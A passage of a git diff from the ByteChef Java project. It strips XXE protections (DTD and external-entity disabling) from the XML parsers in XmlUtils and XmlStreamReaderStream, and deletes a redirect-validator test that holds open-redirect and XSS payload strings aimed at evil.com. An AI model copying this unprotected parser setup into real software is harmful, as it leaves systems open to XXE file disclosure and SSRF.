-     * representations, the method defers to {@link Boolean#parseBoolean(String)}.
-     *
-     * @param string The input string to be parsed. If null or empty, the method may return false depending on
-     *               {@link Boolean#parseBoolean(String)}.
-     * @return A Boolean value representing the input string, or null if the input does not match any recognized
-     *         representation.
-     */
-    public static Boolean parseBoolean(String string) {
-        String value = string.toLowerCase(Locale.ROOT);
-
-        if (value.equals("true") || value.equals("t") || value.equals("yes") || value.equals("y") ||
-            value.equals("1")) {
-
-            return Boolean.TRUE;
-        }
-
-        if (value.equals("false") || value.equals("f") || value.equals("no") || value.equals("n") ||
-            value.equals("0")) {
-
-            return Boolean.FALSE;
-        }
-
-        return Boolean.parseBoolean(value);
-    }
-
-    /**
-     * Parses the given string and attempts to convert it into a {@link BigDecimal}. If the input string cannot be
-     * parsed as a valid BigDecimal, the method returns null.
-     *
-     * @param string The input string to be parsed. Should represent a valid BigDecimal value. If null or an invalid
-     *               format is provided, the method will return null.
-     * @return A {@link BigDecimal} representing the parsed value, or null if the input cannot be interpreted as a valid
-     *         BigDecimal.
-     */
-    public static BigDecimal parseBigDecimal(String string) {
-        try {
-            return new BigDecimal(string);
-        } catch (NumberFormatException e) {
-            return null;
-        }
-    }
-
-    /**
-     * Parses the given string and attempts to convert it into a {@link Long}. Initially, the method tries to parse the
-     * string using {@link Long#valueOf(String)}. If that fails due to a {@link NumberFormatException}, it attempts to
-     * parse the string as a {@link BigDecimal} and then converts it to a long value. If both parsing attempts fail, the
-     * method returns null.
-     *
-     * @param string The input string to be parsed. Should represent a valid numeric value that can be interpreted as a
-     *               {@link Long} or {@link BigDecimal}. If null or an invalid format is provided, the method returns
-     *               null.
-     * @return A {@link Long} representing the parsed value, or null if the input cannot be interpreted as a valid
-     *         numeric value.
-     */
-    public static Long parseLong(String string) {
-        try {
-            return Long.valueOf(string);
-        } catch (NumberFormatException e) {
-            try {
-                return new BigDecimal(string).longValue();
-            } catch (NumberFormatException ex) {
-                return null;
-            }
-        }
-    }
-
-    /**
-     * Parses the given string and attempts to convert it into a {@link java.sql.Date}. The method uses the following
-     * strategies in order: 1. Tries to parse the string using predefined local date patterns. 2. Attempts to interpret
-     * the string as epoch milliseconds. 3. Delegates to {@link #parseSqlTimestamp(String)} to handle date-time inputs
-     * and truncates the result to produce a {@link java.sql.Date}. If all parsing attempts fail, the method returns
-     * null.
-     *
-     * @param string The input string to be parsed. Cannot be null. Should represent a valid local date, epoch
-     *               milliseconds, or a parsable date-time string.
-     * @return A {@link java.sql.Date} object representing the parsed value, or null if the input cannot be interpreted
-     *         as a valid date.
-     */
-    public static java.sql.Date parseSqlDate(String string) {
-        // Try ISO first
-        for (DateTimeFormatter dateTimeFormatter : DATE_FORMATTERS) {
-            try {
-                LocalDate localDate = LocalDate.parse(string, dateTimeFormatter);
-                return java.sql.Date.valueOf(localDate);
-            } catch (DateTimeParseException ignored) {
-            }
-        }
-
-        // Try epoch millis
-        try {
-            long epoch = Long.parseLong(string);
-            return new java.sql.Date(epoch);
-        } catch (NumberFormatException ignored) {
-        }
-
-        // Try date-time inputs by truncating to date
-        Timestamp timestamp = parseSqlTimestamp(string);
-
-        if (timestamp != null) {
-            return new java.sql.Date(timestamp.getTime());
-        }
-        return null;
-    }
-
-    /**
-     * Parses the given string and attempts to convert it into a {@link Timestamp}. The method uses multiple strategies
-     * in the following order: 1. Tries to parse the string as an ISO 8601 instant. 2. Attempts to parse the string
-     * using predefined local date-time patterns, assuming the system's default time zone. 3. Tries to interpret the
-     * string as epoch milliseconds. If all parsing attempts fail, the method returns null.
-     *
-     * @param string The input string to be parsed. Should represent a valid ISO 8601 instant, a date-time string
-     *               matching predefined patterns, or epoch milliseconds. If null or an invalid format is provided, the
-     *               method will return null.
-     * @return A {@link Timestamp} representing the parsed value, or null if the input cannot be interpreted as a valid
-     *         timestamp.
-     */
-    public static Timestamp parseSqlTimestamp(String string) {
-        // Try instant (ISO8601)
-        try {
-            Instant instant = Instant.parse(string);
-
-            return Timestamp.from(instant);
-        } catch (DateTimeParseException ignored) {
+    public static String sanitize(String name, int lengthLimit) {
+        if (org.apache.commons.lang3.StringUtils.isBlank(name)) {
+            return "";
         }
 
-        // Try a few local date-time patterns (assume system default zone)
-        for (DateTimeFormatter dateTimeFormatter : DATE_TIME_FORMATTERS) {
-            try {
-                LocalDateTime localDateTime = LocalDateTime.parse(string, dateTimeFormatter);
+        String sanitized = name.trim()
+            .replaceAll("[\\\\/:*?\"<>|]", "_") // Windows forbidden characters
+            .replaceAll("\\s+", "_") // Replace whitespace with underscores
+            .replaceAll("_{2,}", "_"); // Replace multiple underscores with single
 
-                return Timestamp.valueOf(localDateTime);
-            } catch (DateTimeParseException ignored) {
-            }
+        if (lengthLimit != -1 && sanitized.length() > lengthLimit) {
+            sanitized = sanitized.substring(0, lengthLimit);
         }
 
-        // Try epoch millis
-        try {
-            long epoch = Long.parseLong(string);
+        // Remove trailing underscores or dots
+        sanitized = sanitized.replaceAll("[_.]+$", "");
 
-            return new Timestamp(epoch);
-        } catch (NumberFormatException ignored) {
+        if (sanitized.isEmpty()) {
+            return "";
         }
 
-        return null;
-    }
-
-    /**
-     * Sanitizes the given string by applying a set of transformations defined by the overloaded method
-     * {@link #sanitize(String, int)} with a default length limit of -1. This method is useful for ensuring the input
-     * string is free of unsafe or undesirable characters and formatted appropriately.
-     *
-     * @param value The input string to be sanitized. If null, the method returns null. If blank, it returns an empty
-     *              string.
-     * @return A sanitized version of the input string with no length restriction.
-     */
-    public static String sanitize(String value) {
-        return sanitize(value, -1);
+        return sanitized;
     }
 
     /**
-     * Sanitizes the given string by removing or replacing unsafe characters and trimming whitespace. This method is
-     * useful for preparing file names, identifiers, or other strings that require a specific format or should avoid
-     * problematic characters.
-     * <p>
-     * The method applies the following transformations: 1. Trims leading and trailing whitespace from the input string.
-     * 2. Replaces Windows line break characters ("\r") with "\\r". 3. Replaces Unix line break characters ("\n") with
-     * "\\n". 4. Replaces Windows forbidden characters (e.g., \ / : * ? " < > |) with an underscore. 5. Replaces
-     * sequences of whitespace with a single underscore. 6. Collapses consecutive underscores into a single underscore.
-     * 7. Truncates the string to the specified length limit, if provided.
-     *
-     * @param value       The input string to be sanitized. If null, the method returns null. If blank, it returns an
-     *                    empty string.
-     * @param lengthLimit An integer specifying the maximum allowed length for the sanitized string. Use -1 for no
-     *                    length restriction.
-     * @return A sanitized version of
+     * Appends a string with proper newline handling.
      */
-    public static String sanitize(String value, int lengthLimit) {
-        if (value == null) {
-            return null;
-        }
-
-        if (org.apache.commons.lang3.StringUtils.isBlank(value)) {
-            return "";
-        }
-
-        String sanitized = value.trim()
-            .replaceAll("[\\\\/:*?\"<>|]", "_") // Windows forbidden characters
-            .replaceAll("\\s+", "_") // Replace whitespace with underscores
-            .replaceAll("_{2,}", "_"); // Replace multiple underscores with single;
-
-        if (lengthLimit != -1 && sanitized.length() > lengthLimit) {
-            sanitized = sanitized.substring(0, lengthLimit);
+    public static void appendWithNewline(String string, StringBuilder sb) {
+        if (!sb.isEmpty()) {
+            sb.append("\n");
         }
 
-        return sanitized;
+        sb.append(string);
     }
 }
diff --git a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlStreamReaderStream.java b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlStreamReaderStream.java
index a03421993f5..dd916525919 100644
--- a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlStreamReaderStream.java
+++ b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlStreamReaderStream.java
@@ -16,7 +16,6 @@
 
 package com.bytechef.commons.util;
 
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.InputStream;
 import java.util.Comparator;
 import java.util.Iterator;
@@ -49,32 +48,17 @@
 import tools.jackson.dataformat.xml.XmlMapper;
 
 /**
- * Streaming XML reader with secure configuration to prevent XXE attacks. Disables DTD processing and external entity
- * resolution.
- *
  * @author Ivica Cardic
  */
 final class XmlStreamReaderStream implements Stream<Map<String, ?>> {
 
     private static final Logger logger = LoggerFactory.getLogger(XmlStreamReaderStream.class);
 
-    private static final XMLInputFactory xmlInputFactory;
-
-    static {
-        xmlInputFactory = createSecureXmlInputFactory();
-    }
+    private static final XMLInputFactory xmlInputFactory = XMLInputFactory.newInstance();
 
     private final XMLStreamReader xmlStreamReader;
     private final Stream<Map<String, ?>> stream;
 
-    /**
-     * Creates a new XML stream reader with secure configuration.
-     *
-     * <p>
-     * <b>Security Note:</b> The XXE_XMLSTREAMREADER suppression is safe because the XMLInputFactory is configured with
-     * DTD and external entity processing disabled via {@link #createSecureXmlInputFactory()}.
-     */
-    @SuppressFBWarnings("XXE_XMLSTREAMREADER")
     public XmlStreamReaderStream(InputStream inputStream, XmlMapper xmlMapper) throws XMLStreamException {
         this.xmlStreamReader = xmlInputFactory.createXMLStreamReader(inputStream);
 
@@ -291,26 +275,4 @@ public void close() {
             }
         }
     }
-
-    /**
-     * Creates a secure XMLInputFactory with XXE protections enabled.
-     */
-    private static XMLInputFactory createSecureXmlInputFactory() {
-        XMLInputFactory factory = XMLInputFactory.newInstance();
-
-        // Disable DTD processing to prevent XXE
-        factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
-
-        // Disable external entities
-        factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
-
-        // Disable external references (additional protection)
-        try {
-            factory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
-        } catch (IllegalArgumentException e) {
-            logger.debug("Property javax.xml.stream.isSupportingExternalEntities not supported", e);
-        }
-
-        return factory;
-    }
 }
diff --git a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlUtils.java b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlUtils.java
index 9c1edbbbb18..013f0b99a1c 100644
--- a/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlUtils.java
+++ b/server/libs/core/commons/commons-util/src/main/java/com/bytechef/commons/util/XmlUtils.java
@@ -23,10 +23,8 @@
 import java.util.List;
 import java.util.Map;
 import java.util.stream.Stream;
-import javax.xml.XMLConstants;
 import javax.xml.parsers.DocumentBuilder;
 import javax.xml.parsers.DocumentBuilderFactory;
-import javax.xml.parsers.ParserConfigurationException;
 import javax.xml.transform.OutputKeys;
 import javax.xml.transform.Transformer;
 import javax.xml.transform.TransformerFactory;
@@ -36,8 +34,6 @@
 import javax.xml.xpath.XPathConstants;
 import javax.xml.xpath.XPathFactory;
 import org.apache.commons.lang3.Validate;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
 import org.w3c.dom.Document;
 import org.w3c.dom.Node;
 import org.w3c.dom.NodeList;
@@ -46,22 +42,13 @@
 import tools.jackson.dataformat.xml.XmlMapper;
 
 /**
- * XML utility class with secure parsing configuration to prevent XXE attacks.
- *
  * @author Ivica Cardic
  */
 public class XmlUtils {
 
-    private static final Logger logger = LoggerFactory.getLogger(XmlUtils.class);
-
-    private static final DocumentBuilderFactory DOCUMENT_BUILDER_FACTORY;
+    private static final DocumentBuilderFactory DOCUMENT_BUILDER_FACTORY = DocumentBuilderFactory.newInstance();
     private static final XPathFactory X_PATH_FACTORY = XPathFactory.newInstance();
-    private static final TransformerFactory TRANSFORMER_FACTORY;
-
-    static {
-        DOCUMENT_BUILDER_FACTORY = createSecureDocumentBuilderFactory();
-        TRANSFORMER_FACTORY = createSecureTransformerFactory();
-    }
+    private static final TransformerFactory TRANSFORMER_FACTORY = TransformerFactory.newInstance();
 
     private static XmlMapper xmlMapper;
 
@@ -207,73 +194,6 @@ public static String write(Object object, String rootName) {
         }
     }
 
-    /**
-     * Creates a secure DocumentBuilderFactory with XXE protections enabled. Disables DTD processing, external entities,
-     * and external DTDs.
-     */
-    private static DocumentBuilderFactory createSecureDocumentBuilderFactory() {
-        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
-
-        try {
-            // Disable DTD processing entirely (strongest protection)
-            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
-        } catch (ParserConfigurationException e) {
-            logger.warn("Could not disable DOCTYPE declaration, applying fallback XXE protections", e);
-
-            // Fallback: disable external entities if DOCTYPE cannot be disabled
-            try {
-                factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
-                factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
-                factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
-            } catch (ParserConfigurationException ex) {
-                logger.warn("Could not configure all XXE protections", ex);
-            }
-        }
-
-        // Set additional security attributes
-        try {
-            factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
-            factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
-        } catch (IllegalArgumentException e) {
-            // Some parsers may not support these attributes
-            logger.debug("Parser does not support ACCESS_EXTERNAL_DTD/SCHEMA attributes", e);
-        }
-
-        factory.setXIncludeAware(false);
-        factory.setExpandEntityReferences(false);
-
-        return factory;
-    }
-
-    /**
-     * Creates a secure TransformerFactory with XXE protections enabled.
-     */
-    private static TransformerFactory createSecureTransformerFactory() {
-        TransformerFactory factory = TransformerFactory.newInstance();
-
-        try {
-            factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
-            factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
-        } catch (IllegalArgumentException e) {
-            // Some transformers may not support these attributes
-            logger.debug("Transformer does not support ACCESS_EXTERNAL_DTD/STYLESHEET attributes", e);
-        }
-
-        return factory;
-    }
-
-    /**
-     * Parses an XML input stream and extracts nodes matching the given XPath.
-     *
-     * <p>
-     * <b>Security Note:</b> The XXE_DOCUMENT suppression is safe because the DocumentBuilderFactory is configured with
-     * DTD and external entity processing disabled via {@link #createSecureDocumentBuilderFactory()}. The
-     * XPATH_INJECTION suppression is appropriate because XPath expressions are internal implementation details, not
-     * user input.
-     */
-    @SuppressFBWarnings({
-        "XXE_DOCUMENT", "XPATH_INJECTION"
-    })
     private static String parse(InputStream inputStream, String path) {
         StringBuffer sb = new StringBuffer();
 
diff --git a/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/RedirectValidatorTest.java b/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/RedirectValidatorTest.java
deleted file mode 100644
index 5dfc7b2b02a..00000000000
--- a/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/RedirectValidatorTest.java
+++ /dev/null
@@ -1,188 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.commons.util;
-
-import static org.assertj.core.api.Assertions.assertThat;
-
-import java.util.Set;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class RedirectValidatorTest {
-
-    private static final String SERVER_HOST = "example.com";
-
-    @Test
-    void testNullUrl() {
-        assertThat(RedirectValidator.isValidRedirect(null, SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testEmptyUrl() {
-        assertThat(RedirectValidator.isValidRedirect("", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testBlankUrl() {
-        assertThat(RedirectValidator.isValidRedirect("   ", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testRelativePath() {
-        assertThat(RedirectValidator.isValidRedirect("/dashboard", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testRelativePathWithQuery() {
-        assertThat(RedirectValidator.isValidRedirect("/page?param=value", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testRelativePathDeep() {
-        assertThat(RedirectValidator.isValidRedirect("/path/to/resource", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testRelativePathWithoutLeadingSlash() {
-        assertThat(RedirectValidator.isValidRedirect("page.html", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testSameHostRedirect() {
-        assertThat(RedirectValidator.isValidRedirect("https://example.com/page", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testSameHostRedirectHttp() {
-        assertThat(RedirectValidator.isValidRedirect("http://example.com/page", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testSameHostCaseInsensitive() {
-        assertThat(RedirectValidator.isValidRedirect("https://EXAMPLE.COM/page", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testExternalDomainBlocked() {
-        assertThat(RedirectValidator.isValidRedirect("https://evil.com/phishing", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testExternalDomainWithWhitelist() {
-        Set<String> allowedDomains = Set.of("trusted.com", "partner.org");
-
-        assertThat(RedirectValidator.isValidRedirect("https://trusted.com/page", SERVER_HOST, allowedDomains)).isTrue();
-    }
-
-    @Test
-    void testSubdomainOfWhitelistedDomain() {
-        Set<String> allowedDomains = Set.of("trusted.com");
-
-        assertThat(
-            RedirectValidator.isValidRedirect("https://sub.trusted.com/page", SERVER_HOST, allowedDomains)).isTrue();
-    }
-
-    @Test
-    void testSimilarDomainNotAllowed() {
-        Set<String> allowedDomains = Set.of("trusted.com");
-
-        // "eviltrrusted.com" is not a subdomain of "trusted.com"
-        assertThat(
-            RedirectValidator.isValidRedirect("https://eviltrusted.com/page", SERVER_HOST, allowedDomains)).isFalse();
-    }
-
-    @Test
-    void testProtocolRelativeUrlBlocked() {
-        // Protocol-relative URLs can be used to bypass validation
-        assertThat(RedirectValidator.isValidRedirect("//evil.com/phishing", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testJavascriptUrlBlocked() {
-        assertThat(RedirectValidator.isValidRedirect("javascript:alert('xss')", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testJavascriptUrlCaseVariations() {
-        assertThat(RedirectValidator.isValidRedirect("JAVASCRIPT:alert('xss')", SERVER_HOST)).isFalse();
-        assertThat(RedirectValidator.isValidRedirect("Javascript:alert('xss')", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testDataUrlBlocked() {
-        assertThat(RedirectValidator.isValidRedirect("data:text/html,<script>alert('xss')</script>", SERVER_HOST))
-            .isFalse();
-    }
-
-    @Test
-    void testInvalidUrlBlocked() {
-        assertThat(RedirectValidator.isValidRedirect("https://[invalid", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testNullServerHost() {
-        // Without server host, only relative paths are allowed
-        assertThat(RedirectValidator.isValidRedirect("/relative/path", null)).isTrue();
-        assertThat(RedirectValidator.isValidRedirect("https://any.com/page", null)).isFalse();
-    }
-
-    @Test
-    void testEmptyWhitelist() {
-        Set<String> emptyWhitelist = Set.of();
-
-        assertThat(RedirectValidator.isValidRedirect("https://external.com/page", SERVER_HOST, emptyWhitelist))
-            .isFalse();
-    }
-
-    @Test
-    void testSanitizeRedirectUrlValid() {
-        String result = RedirectValidator.sanitizeRedirectUrl("/valid/path", SERVER_HOST, null);
-
-        assertThat(result).isEqualTo("/valid/path");
-    }
-
-    @Test
-    void testSanitizeRedirectUrlInvalid() {
-        String result = RedirectValidator.sanitizeRedirectUrl("https://evil.com", SERVER_HOST, null);
-
-        assertThat(result).isNull();
-    }
-
-    @Test
-    void testOpenRedirectAttackPatterns() {
-        // Common open redirect attack patterns
-        assertThat(RedirectValidator.isValidRedirect("//evil.com", SERVER_HOST)).isFalse();
-        // URL with @ symbol: "example.com" is the actual host (@ separates userinfo from host)
-        // So https://evil.com@example.com actually redirects to example.com
-        assertThat(RedirectValidator.isValidRedirect("https://evil.com@example.com", SERVER_HOST)).isTrue();
-        // URL with @ symbol attempting to redirect to evil.com
-        assertThat(RedirectValidator.isValidRedirect("https://example.com@evil.com/", SERVER_HOST)).isFalse();
-    }
-
-    @Test
-    void testFragmentInUrl() {
-        assertThat(RedirectValidator.isValidRedirect("/page#section", SERVER_HOST)).isTrue();
-        assertThat(RedirectValidator.isValidRedirect("https://example.com/page#section", SERVER_HOST)).isTrue();
-    }
-
-    @Test
-    void testUrlWithPort() {
-        assertThat(RedirectValidator.isValidRedirect("https://example.com:8080/page", SERVER_HOST)).isTrue();
-    }
-}
diff --git a/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/StringUtilsTest.java b/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/StringUtilsTest.java
deleted file mode 100644
index 3c5fdb18572..00000000000
--- a/server/libs/core/commons/commons-util/src/test/java/com/bytechef/commons/util/StringUtilsTest.java
+++ /dev/null
@@ -1,539 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.commons.util;
-
-import static org.assertj.core.api.Assertions.assertThat;
-
-import java.math.BigDecimal;
-import java.sql.Timestamp;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class StringUtilsTest {
-
-    @Test
-    void testAppendWithNewlineEmptyStringBuilder() {
-        StringBuilder stringBuilder = new StringBuilder();
-
-        StringUtils.appendWithNewline("first line", stringBuilder);
-
-        assertThat(stringBuilder.toString()).isEqualTo("first line");
-    }
-
-    @Test
-    void testAppendWithNewlineNonEmptyStringBuilder() {
-        StringBuilder stringBuilder = new StringBuilder("existing content");
-
-        StringUtils.appendWithNewline("new line", stringBuilder);
-
-        assertThat(stringBuilder.toString()).isEqualTo("existing content\nnew line");
-    }
-
-    @Test
-    void testAppendWithNewlineMultipleAppends() {
-        StringBuilder stringBuilder = new StringBuilder();
-
-        StringUtils.appendWithNewline("line 1", stringBuilder);
-        StringUtils.appendWithNewline("line 2", stringBuilder);
-        StringUtils.appendWithNewline("line 3", stringBuilder);
-
-        assertThat(stringBuilder.toString()).isEqualTo("line 1\nline 2\nline 3");
-    }
-
-    @Test
-    void testParseBooleanTrue() {
-        assertThat(StringUtils.parseBoolean("true")).isTrue();
-        assertThat(StringUtils.parseBoolean("TRUE")).isTrue();
-        assertThat(StringUtils.parseBoolean("True")).isTrue();
-    }
-
-    @Test
-    void testParseBooleanT() {
-        assertThat(StringUtils.parseBoolean("t")).isTrue();
-        assertThat(StringUtils.parseBoolean("T")).isTrue();
-    }
-
-    @Test
-    void testParseBooleanYes() {
-        assertThat(StringUtils.parseBoolean("yes")).isTrue();
-        assertThat(StringUtils.parseBoolean("YES")).isTrue();
-        assertThat(StringUtils.parseBoolean("Yes")).isTrue();
-    }
-
-    @Test
-    void testParseBooleanY() {
-        assertThat(StringUtils.parseBoolean("y")).isTrue();
-        assertThat(StringUtils.parseBoolean("Y")).isTrue();
-    }
-
-    @Test
-    void testParseBooleanOne() {
-        assertThat(StringUtils.parseBoolean("1")).isTrue();
-    }
-
-    @Test
-    void testParseBooleanFalse() {
-        assertThat(StringUtils.parseBoolean("false")).isFalse();
-        assertThat(StringUtils.parseBoolean("FALSE")).isFalse();
-        assertThat(StringUtils.parseBoolean("False")).isFalse();
-    }
-
-    @Test
-    void testParseBooleanF() {
-        assertThat(StringUtils.parseBoolean("f")).isFalse();
-        assertThat(StringUtils.parseBoolean("F")).isFalse();
-    }
-
-    @Test
-    void testParseBooleanNo() {
-        assertThat(StringUtils.parseBoolean("no")).isFalse();
-        assertThat(StringUtils.parseBoolean("NO")).isFalse();
-        assertThat(StringUtils.parseBoolean("No")).isFalse();
-    }
-
-    @Test
-    void testParseBooleanN() {
-        assertThat(StringUtils.parseBoolean("n")).isFalse();
-        assertThat(StringUtils.parseBoolean("N")).isFalse();
-    }
-
-    @Test
-    void testParseBooleanZero() {
-        assertThat(StringUtils.parseBoolean("0")).isFalse();
-    }
-
-    @Test
-    void testParseBooleanInvalidString() {
-        // Boolean.parseBoolean returns false for invalid strings
-        assertThat(StringUtils.parseBoolean("invalid")).isFalse();
-        assertThat(StringUtils.parseBoolean("maybe")).isFalse();
-        assertThat(StringUtils.parseBoolean("2")).isFalse();
-    }
-
-    @Test
-    void testParseBigDecimalInteger() {
-        assertThat(StringUtils.parseBigDecimal("123")).isEqualTo(new BigDecimal("123"));
-    }
-
-    @Test
-    void testParseBigDecimalDecimal() {
-        assertThat(StringUtils.parseBigDecimal("123.456")).isEqualTo(new BigDecimal("123.456"));
-    }
-
-    @Test
-    void testParseBigDecimalNegative() {
-        assertThat(StringUtils.parseBigDecimal("-123.456")).isEqualTo(new BigDecimal("-123.456"));
-    }
-
-    @Test
-    void testParseBigDecimalScientificNotation() {
-        assertThat(StringUtils.parseBigDecimal("1.23E+3")).isEqualTo(new BigDecimal("1.23E+3"));
-    }
-
-    @Test
-    void testParseBigDecimalZero() {
-        assertThat(StringUtils.parseBigDecimal("0")).isEqualTo(BigDecimal.ZERO);
-        assertThat(StringUtils.parseBigDecimal("0.0")).isEqualTo(new BigDecimal("0.0"));
-    }
-
-    @Test
-    void testParseBigDecimalInvalidString() {
-        assertThat(StringUtils.parseBigDecimal("invalid")).isNull();
-        assertThat(StringUtils.parseBigDecimal("12.34.56")).isNull();
-        assertThat(StringUtils.parseBigDecimal("")).isNull();
-    }
-
-    @Test
-    void testParseBigDecimalEmptyString() {
-        assertThat(StringUtils.parseBigDecimal("")).isNull();
-    }
-
-    @Test
-    void testParseLongInteger() {
-        assertThat(StringUtils.parseLong("123")).isEqualTo(123L);
-    }
-
-    @Test
-    void testParseLongNegative() {
-        assertThat(StringUtils.parseLong("-456")).isEqualTo(-456L);
-    }
-
-    @Test
-    void testParseLongMaxValue() {
-        String maxLong = String.valueOf(Long.MAX_VALUE);
-
-        assertThat(StringUtils.parseLong(maxLong)).isEqualTo(Long.MAX_VALUE);
-    }
-
-    @Test
-    void testParseLongMinValue() {
-        String minLong = String.valueOf(Long.MIN_VALUE);
-
-        assertThat(StringUtils.parseLong(minLong)).isEqualTo(Long.MIN_VALUE);
-    }
-
-    @Test
-    void testParseLongFromDecimal() {
-        // Should parse decimal and convert to long
-        assertThat(StringUtils.parseLong("123.456")).isEqualTo(123L);
-        assertThat(StringUtils.parseLong("999.999")).isEqualTo(999L);
-    }
-
-    @Test
-    void testParseLongZero() {
-        assertThat(StringUtils.parseLong("0")).isEqualTo(0L);
-    }
-
-    @Test
-    void testParseLongInvalidString() {
-        assertThat(StringUtils.parseLong("invalid")).isNull();
-        assertThat(StringUtils.parseLong("12.34.56")).isNull();
-        assertThat(StringUtils.parseLong("")).isNull();
-    }
-
-    @Test
-    void testParseLongEmptyString() {
-        assertThat(StringUtils.parseLong("")).isNull();
-    }
-
-    @Test
-    void testParseSqlDateISOFormat() {
-        java.sql.Date date = StringUtils.parseSqlDate("2025-01-18");
-
-        assertThat(date).isNotNull();
-        assertThat(date.toString()).isEqualTo("2025-01-18");
-    }
-
-    @Test
-    void testParseSqlDateCustomFormat() {
-        java.sql.Date date = StringUtils.parseSqlDate("2025-1-18");
-
-        assertThat(date).isNotNull();
-        assertThat(date.toString()).isEqualTo("2025-01-18");
-    }
-
-    @Test
-    void testParseSqlDateFromEpochMillis() {
-        long epochMillis = 1705536000000L; // 2024-01-18 00:00:00 UTC
-
-        java.sql.Date date = StringUtils.parseSqlDate(String.valueOf(epochMillis));
-
-        assertThat(date).isNotNull();
-        assertThat(date.getTime()).isEqualTo(epochMillis);
-    }
-
-    @Test
-    void testParseSqlDateFromDateTime() {
-        java.sql.Date date = StringUtils.parseSqlDate("2025-01-18 12:30:45");
-
-        assertThat(date).isNotNull();
-        assertThat(date.toString()).isEqualTo("2025-01-18");
-    }
-
-    @Test
-    void testParseSqlDateInvalidString() {
-        assertThat(StringUtils.parseSqlDate("invalid")).isNull();
-        assertThat(StringUtils.parseSqlDate("not-a-date")).isNull();
-    }
-
-    @Test
-    void testParseSqlDateEmptyString() {
-        assertThat(StringUtils.parseSqlDate("")).isNull();
-    }
-
-    @Test
-    void testParseSqlTimestampISO8601() {
-        Timestamp timestamp = StringUtils.parseSqlTimestamp("2025-01-18T12:30:45Z");
-
-        assertThat(timestamp).isNotNull();
-    }
-
-    @Test
-    void testParseSqlTimestampISO8601WithMillis() {
-        Timestamp timestamp = StringUtils.parseSqlTimestamp("2025-01-18T12:30:45.123Z");
-
-        assertThat(timestamp).isNotNull();
-    }
-
-    @Test
-    void testParseSqlTimestampLocalDateTime() {
-        Timestamp timestamp = StringUtils.parseSqlTimestamp("2025-01-18 12:30:45");
-
-        assertThat(timestamp).isNotNull();
-        assertThat(timestamp.toString()).startsWith("2025-01-18 12:30:45");
-    }
-
-    @Test
-    void testParseSqlTimestampLocalDateTimeShort() {
-        Timestamp timestamp = StringUtils.parseSqlTimestamp("2025-01-18 12:30");
-
-        assertThat(timestamp).isNotNull();
-        assertThat(timestamp.toString()).startsWith("2025-01-18 12:30:00");
-    }
-
-    @Test
-    void testParseSqlTimestampFromEpochMillis() {
-        long epochMillis = 1705582245000L; // 2024-01-18 12:30:45 UTC
-
-        Timestamp timestamp = StringUtils.parseSqlTimestamp(String.valueOf(epochMillis));
-
-        assertThat(timestamp).isNotNull();
-        assertThat(timestamp.getTime()).isEqualTo(epochMillis);
-    }
-
-    @Test
-    void testParseSqlTimestampInvalidString() {
-        assertThat(StringUtils.parseSqlTimestamp("invalid")).isNull();
